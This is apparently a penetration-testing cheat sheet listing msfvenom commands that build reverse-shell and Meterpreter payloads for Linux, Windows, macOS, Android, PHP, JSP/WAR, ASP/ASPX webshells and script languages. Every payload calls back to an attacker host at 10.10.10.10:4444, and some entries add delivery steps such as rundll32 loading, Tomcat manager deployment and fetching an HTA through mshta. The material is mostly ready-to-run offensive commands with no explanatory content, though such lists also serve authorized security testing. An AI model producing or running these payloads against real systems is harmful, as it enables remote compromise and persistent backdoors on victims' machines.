MSFVenom
Linux ELF x64
Linux 64-bit ELF binary
LINUX
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf
chmod +x shell.elf
Linux ELF x86
Linux 32-bit ELF binary
LINUX
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf
Linux Meterpreter
Linux Meterpreter staged payload
LINUX
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o met.elf
Windows EXE x64
Windows 64-bit shell EXE
WINDOWS
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe
Windows EXE x86
Windows 32-bit shell EXE
WINDOWS
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell32.exe
Win Meterpreter
Windows Meterpreter staged
WINDOWS
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o met.exe
Win Meterpreter Inline
Windows Meterpreter stageless (larger but reliable)
WINDOWS
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o met_inline.exe
Win DLL
DLL payload — load via rundll32 or reflective injection
WINDOWS
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll -o shell.dll
# Load: rundll32 shell.dll,DllMain
Win Shellcode
Raw C-format shellcode for buffer overflow exploits
WINDOWS
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c
Win PowerShell
PowerShell reflection-based payload
WINDOWS
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh-reflection -o shell.ps1
ASP
IIS classic ASP webshell
WINDOWS
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f asp -o shell.asp
ASPX
IIS ASP.NET webshell
WINDOWS
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f aspx -o shell.aspx
JSP
Java Server Pages — Tomcat, GlassFish, etc.
LINUXOSXWINDOWS
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.jsp
WAR (Tomcat)
WAR archive — deploy to Tomcat Manager
LINUXOSXWINDOWS
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f war -o shell.war
# Deploy via Tomcat manager panel
PHP msfvenom
PHP Meterpreter reverse
LINUXOSXWINDOWS
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.php
Python payload
MSF Python payload script
LINUXOSX
msfvenom -p cmd/unix/reverse_python LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.py
Bash payload
MSF bash payload
LINUXOSX
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.sh
Perl payload
MSF Perl payload
LINUXOSX
msfvenom -p cmd/unix/reverse_perl LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.pl
macOS x64
macOS Mach-O binary
OSX
msfvenom -p osx/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f macho -o shell.macho
Android APK
Android APK Meterpreter
ANDROID
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 R > shell.apk
# Listener: use exploit/multi/handler
HTA (Win)
HTML Application payload — delivered via mshta LOLBin
WINDOWS
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f hta-psh -o shell.hta
# Deliver via: mshta http://10.10.10.10/shell.hta